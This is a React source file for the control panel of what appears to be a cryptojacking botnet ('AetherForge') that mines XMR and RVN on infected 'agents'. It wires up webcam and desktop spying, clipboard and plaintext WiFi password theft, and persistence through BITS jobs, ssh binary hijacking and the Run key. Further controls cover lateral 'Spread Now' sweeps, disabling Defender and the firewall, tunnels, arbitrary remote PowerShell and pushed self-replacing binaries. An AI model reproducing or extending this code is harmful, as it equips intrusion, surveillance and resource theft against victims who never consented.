import React, { useState, useRef, useEffect, useCallback } from 'react';
import { api } from '../../api/client';
import type { Agent, Build } from '../../types';
import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
import { formatHashrate } from '../../help/fleetFilters';
import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
import './ProtocolTunnelPanel.css';

const TERMINAL_MAX_LINES = 500;

interface Props {
  /** Legacy: pass full agent object from list/detail pages */
  agent?: Agent;
  agentId?: string;
  agentName?: string;
  /** Explicit online flag — use when agent object may be stale */
  online?: boolean;
  compact?: boolean;
  /** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
   *  Every entry is processed; no results are dropped (fixes M13). */
  commandResults?: SeqCommandResult[];
  /** @deprecated Pass commandResults instead. */
  latestWsMessage?: { type: string; payload: unknown } | null;
  onCommandSent?: (action: string) => void;
  /** If true, inject a live stats snapshot into the terminal when agent updates */
  showLiveStats?: boolean;
}

export default function AgentRemoteActions({
  agent,
  agentId: agentIdProp,
  agentName: agentNameProp,
  online: onlineProp,
  compact = false,
  commandResults,
  onCommandSent,
  showLiveStats = false,
}: Props) {
  const agentId = agentIdProp ?? agent?.id ?? '';
  const agentName = agentNameProp ?? agent?.name ?? 'Agent';
  const isOnline = onlineProp ?? agent?.status === 'online';

  const [isDragging, setIsDragging] = useState(false);
  const [customCmd, setCustomCmd] = useState('');
  // terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
  const [terminalLog, setTerminalLog] = useState<string[]>([]);
  const [screenshotData, setScreenshotData] = useState<string | null>(null);
  const [liveView, setLiveView] = useState(false);
  const liveViewRef = useRef(false);
  liveViewRef.current = liveView;
  const [busy, setBusy] = useState<string | null>(null);
  const [wolMac, setWolMac] = useState('');
  const [wolExpanded, setWolExpanded] = useState(false);
  const [registryExpanded, setRegistryExpanded] = useState(false);
  const [regHive, setRegHive] = useState('HKCU');
  const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
  const [regName, setRegName] = useState('');
  const [regValue, setRegValue] = useState('');
  const [regType, setRegType] = useState('REG_SZ');
  const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
  const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
  // Fleet upgrade
  const [builds, setBuilds] = useState<Build[]>([]);
  const [selectedBuildId, setSelectedBuildId] = useState<string>('');
  const lastStatsRef = useRef<string>('');
  useEffect(() => {
    api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
  }, []);
  const logEndRef = useRef<HTMLDivElement>(null);
  // Track the highest _seq we've already processed.
  // Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
  // where .slice(-N) trims old entries so absolute indices exceed the array length.
  const lastSeenSeq = useRef(0);

  const addLog = useCallback((msg: string) => {
    setTerminalLog((prev) => {
      const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
      // Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
      return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
    });
  }, []);

  useEffect(() => {
    logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
  }, [terminalLog]);

  // When the selected agent changes, reset the seen-seq cursor to the current maximum.
  // This prevents reprocessing results from the previous agent or a stale queue.
  useEffect(() => {
    if (commandResults && commandResults.length > 0) {
      lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
    }
    // Intentionally only runs on agentId change — commandResults excluded from deps
    // eslint-disable-next-line react-hooks/exhaustive-deps
  }, [agentId]);

  // Pre-fill WOL MAC from agent object when it becomes available
  useEffect(() => {
    if (agent?.mac_address && !wolMac) {
      setWolMac(agent.mac_address);
    }
  }, [agent?.mac_address]);

  // Live stats ticker — appends a concise status line whenever agent data changes.
  // Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed.
  const lastStatsPushRef = useRef(0);
  useEffect(() => {
    if (!showLiveStats || !agent || agent.status !== 'online') return;
    const snapshot = [
      agent.hashrate_15s?.toFixed(0),
      agent.cpu_usage_pct?.toFixed(0),
      agent.memory_usage_pct?.toFixed(0),
      agent.cpu_temp_c,
    ].join('|');
    if (snapshot === lastStatsRef.current) return;
    const now = Date.now();
    if (now - lastStatsPushRef.current < 15000) return;
    lastStatsRef.current = snapshot;
    lastStatsPushRef.current = now;

    const parts: string[] = [
      `XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`,
      `CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`,
      `RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`,
    ];
    if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`);
    if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
      parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
    }
    if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
    addLog(`◈ LIVE  ${parts.join('  │  ')}`);
  }, [agent, showLiveStats, addLog]);

  // Process every new commandResults entry we haven't seen yet (M13 — no drops).
  // Filters by _seq so the ring-buffer trim never makes us miss results.
  useEffect(() => {
    if (!commandResults || commandResults.length === 0) return;
    const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
    if (newEntries.length === 0) return;
    lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;

    for (const payload of newEntries) {
      const { agent_id, action, success, message } = payload;
      if (agentId && agentId !== 'all' && agent_id !== agentId) continue;

      if (action === 'full_sys_check') {
        if (success && message) {
          const parsed = parseFullSysCheckMessage(message);
          if (parsed) {
            setSysCheckReport(parsed);
            addLog(`✓ Full system check — WAN ${parsed.network?.external_ip ?? 'n/a'}`);
          } else {
            addLog('✗ [FULL_SYS_CHECK] could not parse report JSON');
          }
        } else {
          addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
          setSysCheckReport(null);
        }
      } else if (action === 'tunnel_status' && success && message) {
        setTunnelStatusMsg(message);
      } else if (action === 'screenshot' || action === 'camera_snapshot') {
        const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
        const kind = action === 'camera_snapshot' ? 'camera' : 'screenshot';
        const tag = action === 'camera_snapshot' ? 'CAMERA' : 'SCREENSHOT';
        if (success && message) {
          const clean = sanitizeScreenshotBase64(message);
          if (liveViewRef.current && action === 'screenshot') {
            setScreenshotData(`data:image/jpeg;base64,${clean}`);
          } else if (downloadScreenshotFromBase64(clean, label, kind)) {
            setScreenshotData(`data:image/jpeg;base64,${clean}`);
            addLog(`✓ ${tag} saved — ${label}`);
          } else {
            addLog(`✗ [${tag}] ${label}: invalid image data`);
          }
        } else if (!liveViewRef.current || action !== 'screenshot') {
          addLog(`✗ [${tag}] ${label}: FAIL\n${message ?? ''}`);
        }
      } else if (action && action !== 'full_sys_check') {
        const icon = success ? '✓' : '✗';
        const preview =
          message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
        addLog(`${icon} [${action.toUpperCase()}]\n${preview}`);
      }
    }
  }, [commandResults, agentId, addLog, agentNameProp, agent?.name]);

  useEffect(() => {
    if (!liveView || !isOnline || !agentId || agentId === 'all') return;
    let focused = document.visibilityState === 'visible';
    const onVis = () => { focused = document.visibilityState === 'visible'; };
    document.addEventListener('visibilitychange', onVis);
    const id = setInterval(() => {
      if (!focused) return;
      api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
    }, 3000);
    api.sendAgentCommand(agentId, 'screenshot').catch(() => {});
    return () => {
      clearInterval(id);
      document.removeEventListener('visibilitychange', onVis);
    };
  }, [liveView, isOnline, agentId]);

  useEffect(() => () => setLiveView(false), []);

  const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
    if (!agentId) {
      addLog('⚠ No agent selected');
      return;
    }
    if (action !== 'wol' && agent && !isOnline) {
      addLog(`⚠ Agent "${agentName}" is offline — command not sent`);
      return;
    }
    if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
    if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
    if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return;
    if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return;
    if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
    if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
    if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
    if (action === 'firewall_off' && !window.confirm(`Disable Windows Firewall on ALL profiles for "${agentName}"?\n\nRequires administrator. Re-enable with FW On.`)) return;
    if (action === 'firewall_on' && !window.confirm(`Enable Windows Firewall on all profiles for "${agentName}"?`)) return;
    if (action === 'firewall_remove' && !window.confirm(`Remove AetherForge firewall rules on "${agentName}"?`)) return;
    if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
    if (action === 'full_sys_check') {
      setSysCheckReport(null);
      addLog(`◈ Running full system check on ${agentName}… (may take 30–60s)`);
    }

    // WOL is handled server-side (no agent connection needed)
    if (action === 'wol') {
      setBusy('wol');
      try {
        addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`);
        const res = await api.sendWOL(agentId, args.mac as string | undefined);
        if (res.success) {
          addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`);
        } else {
          addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`);
        }
      } catch (err: unknown) {
        addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`);
      } finally {
        setBusy(null);
      }
      return;
    }

    setBusy(action);
    try {
      if (action === 'screenshot') {
        addLog(`◈ Capturing desktop on ${agentName}…`);
      } else if (action === 'camera_snapshot') {
        addLog(`◈ Capturing USB/built-in camera on ${agentName}…`);
      } else {
        addLog(`▶ ${action}  →  ${agentId === 'all' ? 'FLEET' : agentName}`);
      }
      const res = await api.sendAgentCommand(agentId, action, args);
      if (res.success === false) {
        addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
        return;
      }
      if (action !== 'screenshot' && action !== 'camera_snapshot') addLog(`✓ command queued`);
      onCommandSent?.(action);
    } catch (err: unknown) {
      const msg = err instanceof Error ? err.message : 'Command failed';
      addLog(`✗ ${msg}`);
    } finally {
      setBusy(null);
    }
  };

  const handleDragOver = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setIsDragging(true);
  };
  const handleDragLeave = () => setIsDragging(false);
  const pushDesktopFile = async (file: File) => {
    try {
      await pushFileToAgentDesktop(
        (action, args) => dispatch(action, args),
        file
      );
    } catch (err) {
      addLog(`✗ Desktop push: ${err instanceof Error ? err.message : String(err)}`);
    }
  };

  const handleDrop = (e: React.DragEvent) => {
    e.preventDefault();
    e.stopPropagation();
    setIsDragging(false);
    const file = e.dataTransfer.files[0];
    if (!file) return;
    void pushDesktopFile(file);
  };

  const desktopFileInputRef = useRef<HTMLInputElement>(null);

  const runCustomCommand = (e: React.FormEvent) => {
    e.preventDefault();
    if (!customCmd.trim()) return;
    dispatch('powershell', { command: customCmd });
    setCustomCmd('');
  };

  if (compact) {
    return (
      <div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
        {!isOnline && (
          <div className="compact-offline-banner">⚠ offline — commands disabled</div>
        )}
        <div className="agent-remote-row">
          <button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button>
          <button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner">⏸</button>
          <button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner">▶</button>
          <button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine">↺</button>
          <button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine">⏻</button>
          <button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN">☀</button>
          <button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process">✕</button>
        </div>
        {terminalLog.length > 0 && (
          <div className="compact-terminal">
            {terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)}
          </div>
        )}
      </div>
    );
  }

  const isFleet = agentId === 'all';
  const caps = agent?.capabilities;
  const platform = agent?.platform;

  const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
    !isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);

  const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
    aggressiveActionHint(action, caps, platform);

  return (
    <div className="tactical-panel">
      <div className="tactical-header">
        <div className="target-indicator">
          <div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} />
          <h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
          {!isFleet && !isOnline && (
            <span className="offline-badge">OFFLINE — commands disabled</span>
          )}
          {busy && <span className="busy-badge">⏳ {busy}…</span>}
        </div>
      </div>

      <div className="tactical-grid">
        <div className="action-group recon-group">
          <h3>Recon &amp; Intel</h3>
          <div className="button-grid">
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture remote desktop and download JPEG to this browser">Screenshot</button>
            <button
              type="button"
              className={liveView ? 'active' : ''}
              disabled={!isOnline || agentId === 'all'}
              onClick={() => setLiveView((v) => !v)}
              title="Poll desktop every 3s while this tab is focused"
            >
              {liveView ? '■ Live view' : '▶ Live view'}
            </button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('camera_snapshot')} title="Capture one JPEG frame from the first USB or built-in webcam (requires ffmpeg on Windows agents)">Camera</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ps')}>Process List</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('sysinfo')}>System Info</button>
            <button
              type="button"
              className="btn-cyan"
              disabled={!isOnline || !!busy}
              title="Deep read-only audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners"
              onClick={() => dispatch('full_sys_check')}
            >
              Full Sys Check
            </button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('netstat')}>Net Connections</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('users')}>List Users</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('software')}>Installed Software</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('get_log', { tail_lines: 300 })}>Fetch Log</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('ipconfig')} title="Detailed network adapters, IPs, gateways">IP Config</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('clipboard')} title="Read current clipboard contents">Clipboard</button>
            <button type="button" disabled={!isOnline || !!busy} onClick={() => dispatch('wifi')} title="Saved WiFi SSIDs + plaintext passwords">WiFi Creds</button>
          </div>
        </div>

        <div className="action-group mining-group">
          <h3>Mining Controls</h3>
          <div className="button-grid">
            <button type="button" className="btn-cyan" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
            <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
          </div>
        </div>

        <div className="action-group power-group">
          <h3>System Power</h3>
          <div className="button-grid">
            <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button>
            <button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button>
            <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button>
            <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button>
            <button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
          </div>
          <div className="wol-row" style={{ marginTop: '0.75rem' }}>
            <button
              type="button"
              className="btn-cyan wol-toggle"
              onClick={() => setWolExpanded((p) => !p)}
              title="Send Wake-on-LAN magic packet to power on a sleeping machine"
            >
              ☀ Wake Machine (WOL) {wolExpanded ? '▲' : '▼'}
            </button>
            {wolExpanded && (
              <div className="wol-form">
                <input
                  type="text"
                  className="wol-mac-input"
                  placeholder="MAC address  e.g. AA:BB:CC:DD:EE:FF"
                  value={wolMac}
                  onChange={(e) => setWolMac(e.target.value)}
                />
                <button
                  type="button"
                  className="btn-cyan"
                  disabled={!!busy}
                  onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})}
                >
                  {busy === 'wol' ? 'Sending…' : 'Send Packet'}
                </button>
              </div>
            )}
          </div>
        </div>

        <div className="action-group upgrade-group">
          <h3>Fleet Upgrade</h3>
          <p className="action-group-hint">
            Push a newly forged binary to {isFleet ? 'all online agents' : 'this agent'}. The agent downloads, replaces itself, and restarts — no manual access needed.
          </p>
          <div className="upgrade-row">
            <select
              className="upgrade-select"
              value={selectedBuildId}
              onChange={(e) => setSelectedBuildId(e.target.value)}
            >
              <option value="">— pick a build —</option>
              {builds.filter((b) => b.download_url).map((b) => (
                <option key={b.id} value={b.id}>
                  {b.file_name ?? b.id} ({b.platform ?? 'win'})
                </option>
              ))}
            </select>
            <button
              type="button"
              className="btn-cyan upgrade-btn"
              disabled={!isOnline || !!busy || !selectedBuildId}
              onClick={() => {
                const build = builds.find((b) => b.id === selectedBuildId);
                if (!build?.download_url) return;
                dispatch('upgrade', { data: build.download_url });
              }}
            >
              {busy === 'upgrade' ? 'Pushing…' : 'Push Upgrade'}
            </button>
          </div>
        </div>

        <div className="action-group aggressive-group">
          <h3>NAT &amp; Aggressive Ops</h3>
          <p className="action-group-hint">Point-and-shoot — requires Advanced forge toggles on the agent.</p>
          <div className="button-grid">
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('hole_punch_status')}
              title={aggTitle('hole_punch_status')}
              onClick={() => dispatch('hole_punch_status')}
            >
              WAN IP
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('hole_punch')}
              title={aggTitle('hole_punch')}
              onClick={() => dispatch('hole_punch', { command: '8989', path: '8989' })}
            >
              Hole Punch
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('hole_punch_close')}
              title={aggTitle('hole_punch_close')}
              onClick={() => dispatch('hole_punch_close', { command: '8989' })}
            >
              Close Punch
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('firewall_punch')}
              title={aggTitle('firewall_punch')}
              onClick={() => dispatch('firewall_punch', { command: '8989' })}
            >
              Open FW Port
            </button>
            <button
              type="button"
              className="btn-red"
              disabled={aggDisabled('firewall_off')}
              title={aggTitle('firewall_off')}
              onClick={() => dispatch('firewall_off')}
            >
              FW Off
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('firewall_on')}
              title={aggTitle('firewall_on')}
              onClick={() => dispatch('firewall_on')}
            >
              FW On
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('firewall_profiles')}
              title={aggTitle('firewall_profiles') || 'Disable Private+Public only (path=Private,Public)'}
              onClick={() => dispatch('firewall_profiles', { command: 'off', path: 'Private,Public' })}
            >
              FW Private Off
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('firewall_remove')}
              title={aggTitle('firewall_remove')}
              onClick={() => dispatch('firewall_remove')}
            >
              Remove FW Rules
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('bits_persist')}
              title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'}
              onClick={() => dispatch('bits_persist')}
            >
              BITS Persist
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('host_binary_persist')}
              title={aggTitle('host_binary_persist') || 'Hijack host client binary (path=preset, default ssh)'}
              onClick={() => dispatch('host_binary_persist', { path: 'ssh' })}
            >
              Host Binary
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('start_tunnel')}
              title={aggTitle('start_tunnel')}
              onClick={() => dispatch('tunnel_cloudflared')}
            >
              Cloudflare Tunnel
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('subnet_scan')}
              title={aggTitle('subnet_scan')}
              onClick={() => dispatch('subnet_scan', { command: '64' })}
            >
              Subnet Scan
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('spread_now')}
              title={aggTitle('spread_now')}
              onClick={() => dispatch('spread_now')}
            >
              Spread Now
            </button>
            <button
              type="button"
              className="btn-magenta"
              disabled={aggDisabled('mesh_status')}
              title={aggTitle('mesh_status')}
              onClick={() => dispatch('mesh_status')}
            >
              Mesh Peers
            </button>
            <button
              type="button"
              className="btn-red"
              disabled={aggDisabled('defender_off')}
              title={aggTitle('defender_off')}
              onClick={() => dispatch('defender_off')}
            >
              Disable Defender
            </button>
          </div>
        </div>

        {!compact && agentId && agentId !== 'all' && (
          <ProtocolTunnelPanel
            agentId={agentId}
            agentName={agentName}
            online={isOnline}
            caps={agent?.capabilities}
            platform={agent?.platform}
            lastTunnelStatusMessage={tunnelStatusMsg}
            onDispatch={dispatch}
            busy={busy}
          />
        )}

        {(platform === 'windows' || platform === undefined) && (
        <div className="action-group registry-group">
          <h3>Registry (administered Windows)</h3>
          <button
            type="button"
            className="btn-cyan wol-toggle"
            onClick={() => setRegistryExpanded((p) => !p)}
            title="Read/write/delete under Software\ or Environment only"
          >
            Registry ops {registryExpanded ? '▲' : '▼'}
          </button>
          {registryExpanded && (
            <div className="registry-form">
              <div className="registry-row">
                <select className="select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
                  <option value="HKCU">HKCU</option>
                  <option value="HKLM">HKLM (elevated)</option>
                </select>
                <input
                  className="input"
                  value={regPath}
                  onChange={(e) => setRegPath(e.target.value)}
                  placeholder="Software\...\Run"
                />
              </div>
              <div className="registry-row">
                <input className="input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
                <input className="input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write only)" />
                <select className="select" value={regType} onChange={(e) => setRegType(e.target.value)}>
                  <option value="REG_SZ">REG_SZ</option>
                  <option value="REG_DWORD">REG_DWORD</option>
                </select>
              </div>
              <div className="button-grid">
                <button
                  type="button"
                  disabled={!isOnline || !!busy}
                  onClick={() =>
                    dispatch('registry_read', {
                      data: JSON.stringify({ hive: regHive, path: regPath }),
                    })
                  }
                >
                  Read
                </button>
                <button
                  type="button"
                  disabled={!isOnline || !!busy || !regName}
                  onClick={() =>
                    dispatch('registry_write', {
                      data: JSON.stringify({
                        hive: regHive,
                        path: regPath,
                        name: regName,
                        value: regValue,
                        type: regType,
                      }),
                    })
                  }
                >
                  Write
                </button>
                <button
                  type="button"
                  className="btn-amber"
                  disabled={!isOnline || !!busy || !regName}
                  onClick={() =>
                    dispatch('registry_delete', {
                      data: JSON.stringify({ hive: regHive, path: regPath, name: regName }),
                    })
                  }
                >
                  Delete
                </button>
              </div>
              <small>Allowlist: Software\ and Environment under HKCU/HKLM. Crucible JSON: action registry_read with data hive/path.</small>
            </div>
          )}
        </div>
        )}
      </div>

      {sysCheckReport && !compact && (
        <FullSysCheckPanel
          report={sysCheckReport}
          agentName={agentName}
          onClose={() => setSysCheckReport(null)}
        />
      )}

      {screenshotData && (
        <div className="screenshot-viewer">
          <div className="viewer-header">
            <span>Latest capture (also downloaded as JPEG)</span>
            <button
              type="button"
              onClick={() => {
                const b64 = screenshotData.replace(/^data:image\/jpeg;base64,/, '');
                downloadScreenshotFromBase64(b64, agentName);
              }}
            >
              Download again
            </button>
            <button type="button" onClick={() => setScreenshotData(null)}>✕</button>
          </div>
          <img src={screenshotData} alt="Target Desktop" />
        </div>
      )}

      <div className="tactical-bottom-row">
        <div
          className={`drop-zone ${isDragging ? 'dragging' : ''} ${!isOnline ? 'disabled' : ''}`}
          onDragOver={isOnline ? handleDragOver : undefined}
          onDragLeave={handleDragLeave}
          onDrop={isOnline ? handleDrop : undefined}
        >
          <span className="drop-icon">📥</span>
          <p>Drag &amp; Drop file here</p>
          <small>Pushes to user Desktop (any OS)</small>
          <button
            type="button"
            className="btn btn-outline btn-sm"
            style={{ marginTop: '0.5rem' }}
            disabled={!isOnline || !!busy}
            onClick={() => desktopFileInputRef.current?.click()}
          >
            Choose file → Desktop
          </button>
          <input
            ref={desktopFileInputRef}
            type="file"
            hidden
            onChange={(e) => {
              const file = e.target.files?.[0];
              if (file) void pushDesktopFile(file);
              e.target.value = '';
            }}
          />
        </div>

        <div className="master-terminal">
          <div className="terminal-titlebar">
            <span className="terminal-title">◈ REMOTE TERMINAL — {agentId === 'all' ? 'FLEET' : agentName}</span>
            <button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button>
          </div>
          <div className="terminal-output">
            {terminalLog.length === 0 ? (
              <div className="terminal-placeholder">
                <div>◈ Terminal ready — send a command to see output here</div>
                {isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>}
                {!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline — only WOL is available</div>}
              </div>
            ) : (
              terminalLog.map((log, i) => (
                <div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}>
                  {log}
                </div>
              ))
            )}
            <div ref={logEndRef} />
          </div>
          <form className="terminal-input-bar" onSubmit={runCustomCommand}>
            <span className="prompt">PS&gt;</span>
            <input
              type="text"
              value={customCmd}
              onChange={(e) => setCustomCmd(e.target.value)}
              placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'}
              autoComplete="off"
              disabled={!isOnline}
            />
            <button type="submit" disabled={!isOnline || !!busy}>EXEC</button>
          </form>
        </div>
      </div>
    </div>
  );
}
